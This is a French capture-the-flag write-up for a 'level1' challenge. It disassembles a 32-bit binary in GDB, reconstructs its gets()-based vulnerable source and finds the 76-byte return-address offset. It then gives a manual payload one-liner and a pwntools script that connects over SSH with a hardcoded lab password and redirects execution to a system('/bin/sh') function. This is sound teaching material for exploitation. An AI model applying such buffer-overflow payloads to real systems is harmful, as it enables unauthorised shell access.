1. *Level 1*

On trouve comme prévu un binaire **level1** dans le dossier home de l'utilisateur. Les protections activées sont les mêmes que celles du level0, sauf qu'en plus, NX n'est **pas** activé. On peut donc exécuter du shellcode sur la stack. Comme d'habitude, ASLR est désactivé.

On désassemble le binaire avec GDB. On commence par lister les fonctions disponibles avec `info functions`.

On trouve une fonction **run** qui peut s'avérer intéressante :

```
Non-debugging symbols:
0x080482f8  _init
0x08048340  gets@plt
0x08048350  fwrite@plt
0x08048360  system@plt
0x08048370  __gmon_start__@plt
0x08048380  __libc_start_main@plt
0x08048390  _start
0x080483c0  __do_global_dtors_aux
0x08048420  frame_dummy
0x08048444  run
0x08048480  main
0x080484a0  __libc_csu_init
0x08048510  __libc_csu_fini
0x08048512  __i686.get_pc_thunk.bx
0x08048520  __do_global_ctors_aux
0x0804854c  _fini
```

On désassemble la fonction **run** :

```
(gdb) disassemble run
Dump of assembler code for function run:
   0x08048444 <+0>:     push   ebp
   0x08048445 <+1>:     mov    ebp,esp
   0x08048447 <+3>:     sub    esp,0x18
   0x0804844a <+6>:     mov    eax,ds:0x80497c0
   0x0804844f <+11>:    mov    edx,eax
   0x08048451 <+13>:    mov    eax,0x8048570
   0x08048456 <+18>:    mov    DWORD PTR [esp+0xc],edx
   0x0804845a <+22>:    mov    DWORD PTR [esp+0x8],0x13
   0x08048462 <+30>:    mov    DWORD PTR [esp+0x4],0x1
   0x0804846a <+38>:    mov    DWORD PTR [esp],eax
   0x0804846d <+41>:    call   0x8048350 <fwrite@plt>
   0x08048472 <+46>:    mov    DWORD PTR [esp],0x8048584
   0x08048479 <+53>:    call   0x8048360 <system@plt>
   0x0804847e <+58>:    leave
   0x0804847f <+59>:    ret
End of assembler dump.
(gdb) x/a 0x80497c0
0x80497c0 <stdout@@GLIBC_2.0>:  0x0
(gdb) x/s 0x8048570
0x8048570:      "Good... Wait what?\n"
(gdb) x/s 0x8048584
0x8048584:      "/bin/sh"
(gdb)
```

On voit que cette fonction effectue un appel à **fwrite** en empilant les arguments sur la pile (d'abord le dernier puisqu'il s'agit d'une stack) :
0x0 (stdout) – 19 (longueur de la chaîne) – 1 (nombre de blocs) – "Good... Wait what?\n".

Ensuite, on place la chaîne "/bin/sh" en haut de la pile et on effectue un appel à **system**.

Bref, cette fonction run nous offre une shell sur un plateau. On désassemble la fonction **main**, qui n'est pas plus complexe :

```
(gdb) disassemble main
Dump of assembler code for function main:
   0x08048480 <+0>:     push   ebp
   0x08048481 <+1>:     mov    ebp,esp
   0x08048483 <+3>:     and    esp,0xfffffff0
   0x08048486 <+6>:     sub    esp,0x50
   0x08048489 <+9>:     lea    eax,[esp+0x10]
   0x0804848d <+13>:    mov    DWORD PTR [esp],eax
   0x08048490 <+16>:    call   0x8048340 <gets@plt>
   0x08048495 <+21>:    leave
   0x08048496 <+22>:    ret
```

On voit d'abord un alignement de la stack sur 16 bytes (AND), puis une soustraction à ESP pour faire de la place à des variables locales (soustraction de 0x50 i.e 80 bytes de variables locales). On charge ensuite dans eax l'adresse de ESP+0x10 (c'est là que se trouvera notre chaîne de caractères).

Enfin, on place tout en haut de la pile EAX (qui est un pointeur contenant l'adresse de ESP+0x10), et on effectue un appel à **gets** (qui ne prend qu'un argument, un **char ***).

On peut reconstruire le code source comme ressemblant donc à cela :

```
#include <stdio.h>

int   main(void)
{
      char s[76];
      gets(s);
      return (0);
}
```

On a trouvé la taille précise de la chaîne en examinant la stack. Juste avant l'appel à **gets**, on voit que l'argument à [esp] contient l'adresse de la chaîne qu'on va utiliser, `0xffffd1a0`. Avec un info frame, on sait que l'adresse de retour se situe à l'adresse `0xffffd1ec` sur la stack.

```
0xffffd1a0 - 0xffffd1ec = 4C = 76
```

On a donc 76 bytes avant de dépasser sur l'adresse de retour (il s'agit d'une taille maximale pour le buffer). Or, la fonction **gets** lit des données sans aucune limite de taille, permettant donc ici un évident buffer overflow.

On crée un simple script pwntools pour confirmer l'offset auquel on peut overwrite l'adresse de retour :

```python
import subprocess
from pwn import *

### Start local process ###
p = process("./level1")

### Launch with GDB to debug  ###
p = gdb.debug("./level1", '''
        break main
        continue
    ''')

run_addr = int("0x08048444", 16)

payload = b''
payload += b'A' * 76
payload += b'B' * 4

p.sendline(payload)
p.interactive()
```

On utilise **pwntools**, qui nous permet de lancer le binaire qu'on essaie d'exploit avec GDB. Cela permet d'insérer des breakpoints, puis de fournir via pwntools les données au programme.

Par exemple dans ce cas de figure, je lance **level1** dans GDB, avec un breakpoint sur **main**. Je peux examiner la mémoire etc... Une fois que j'ai fait ce que je voulais faire, un second **continue** dans la console GDB relance le programme et permet à **pwntools** de lui envoyer des données via **sendline**.

Ce qui fait d'ailleurs bien crash le programme lorsqu'il essaie d'accéder à `0x42424242`, ce qui correspond à nos caractères '`B`' : on a confirmé l'offset d'overwrite de l'adresse de retour.

```
Breakpoint 1, 0x08048483 in main ()
(gdb) x/5i $eip
=> 0x8048483 <main+3>:  and    $0xfffffff0,%esp
   0x8048486 <main+6>:  sub    $0x50,%esp
   0x8048489 <main+9>:  lea    0x10(%esp),%eax
   0x804848d <main+13>: mov    %eax,(%esp)
   0x8048490 <main+16>: call   0x8048340 <gets@plt>
(gdb) continue
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)
```

Tout ce qu'on a à faire ici est d'overwrite l'adresse de retour avec l'adresse de la fonction **run**, qui s'occupera de lancer **system("/bin/sh")** pour nous. Puisque le binaire n'a pas été compilé en PIE, on peut simplement le désassembler et récupérer l'adresse virtuelle de la fonction **run**, qui est 0x08048444.

>> Exploitation manuelle

```
python -c "print('A' * 76 + '\x44\x84\x04\x08')" > /tmp/payload
cat /tmp/payload - | ./level1
```

(Voir **level2** pour le cat et le tiret afin de garder stdin ouvert).

>> Exploit automatique

```python
import subprocess
from pwn import *

s = ssh(host='192.168.1.45',port=4242, user="level1",
password="1fe8a524fa4bec01ca4ea2a869af2a02260d4a7d5fe7e7c24d8617e6dca12d3a")
p = s.process('/home/user/level1/./level1')


run_addr = int("0x08048444", 16)

payload = b''
payload += b'A' * 76
payload += p32(run_addr, endianness="little")

p.sendline(payload)
p.interactive()
```

On voit qu'au lieu de lancer le programme en local, on utilise la fonctionnalité **pwntools** qui permet de passer par **ssh** pour lancer un binaire (on aurait également pu utiliser la technique **socat** présentée dans **la forteresse Jet**).

NOTE :
> Les fonctions p32 et p64 de pwntools permettent de **pack un integer**. Concrètement, cela veut dire qu'on va transformer l'integer en un **byte string** pour pouvoir le concaténer avec notre payload.
> On utilise p32 ici car on est sur un binaire 32 bits, que les adresses font donc 32 bits et qu'on doit donc pack notre integer en une série de 4 bytes.
> Pwntools nous permet de préciser l'endianness voulue, qui est ici little car les adresses sont stockées en little-endian.

Bref, on fait tourner l'exploit et on récupère une shell en tant que **level2**.

Got flag.